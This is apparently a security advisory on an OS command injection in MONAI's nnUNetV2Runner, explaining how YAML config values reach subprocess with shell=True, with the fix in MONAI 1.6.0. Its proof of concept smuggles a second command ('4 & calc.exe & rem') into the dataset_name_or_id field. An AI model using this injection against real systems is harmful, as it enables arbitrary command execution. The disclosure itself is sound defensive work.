MONAI nnUNetV2Runner OS Command Injection via dataset_name_or_id
MONAI's nnUNetV2Runner passes a YAML-supplied dataset name directly into a shell command without sanitization, letting an attacker run arbitrary OS commands by embedding shell metacharacters in a…

The problem
The nnUNetV2Runner class in monai/apps/nnunet/nnunetv2_runner.py builds shell commands by string-concatenating YAML config values, including dataset_name_or_id and CLI kwargs, then passes the result to subprocess with shell=True.
Because the input is never quoted or validated, any user who controls the YAML file can inject shell metacharacters. On Windows the separator is &; on Linux it is ;. The victim only needs to load the crafted YAML and trigger a training or validation run.
Proof of concept
A working proof-of-concept for this issue in MONAI, with the exact payload below.
# crafted input.yaml
dataset_name_or_id: '4 & calc.exe & rem'
dataroot: C:/data
datalist: C:/data/lists/task4.json
work_dir: C:/data/work
nnunet_raw: C:/data/nnUNet_raw
nnunet_preprocessed: C:/data/nnUNet_preprocessed
nnunet_results: C:/data/nnUNet_results
# victim code
from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner
runner = nnUNetV2Runner(input_config='input.yaml', trainer_class_name='nnUNetTrainer')
runner.train_single_model(config='3d_fullres', fold=0, gpu_id=0)
# calc.exe (or any payload) executes in the OS shellThe runner assembles a command string such as nnUNetv2_train 4 & calc.exe & rem 3d_fullres 0 ... and calls subprocess.run(cmd, shell=True). With shell=True, the OS shell interprets & as a command separator, so the injected token runs as a separate process with the same privileges as the Python process.
The fix in PR #8885 (shipped in 1.6.0) removes shell=True and passes arguments as a list, so metacharacters in dataset_name_or_id or other config values are treated as literal strings, never interpreted by the shell. This is the standard remediation for CWE-78.
The fix
Upgrade to MONAI 1.6.0. The patch in PR #8885 replaces shell=True subprocess calls with argument-list form, eliminating shell interpretation of config-supplied values. There is no workaround for older versions other than strictly controlling who can supply YAML config files to the runner.
Reported by JPCERT/CC (coordinated disclosure, JVN#50379904).
Related research
- highCVE-2026-68519CVE-2026-68519: Glances --disable-config-exec Bypass via On-Alert Action OS Command Injection
- highCVE-2026-68518CVE-2026-68518: glances Action-Template Sanitizer Bypass via Cross-Field Shell-Operator Reconstruction
- high · 7.5GitPython: OS Command Injection via --template in clone_from
- high · 8.8GitPython: OS Command Injection via Single-Character Kwarg Value Token Smuggling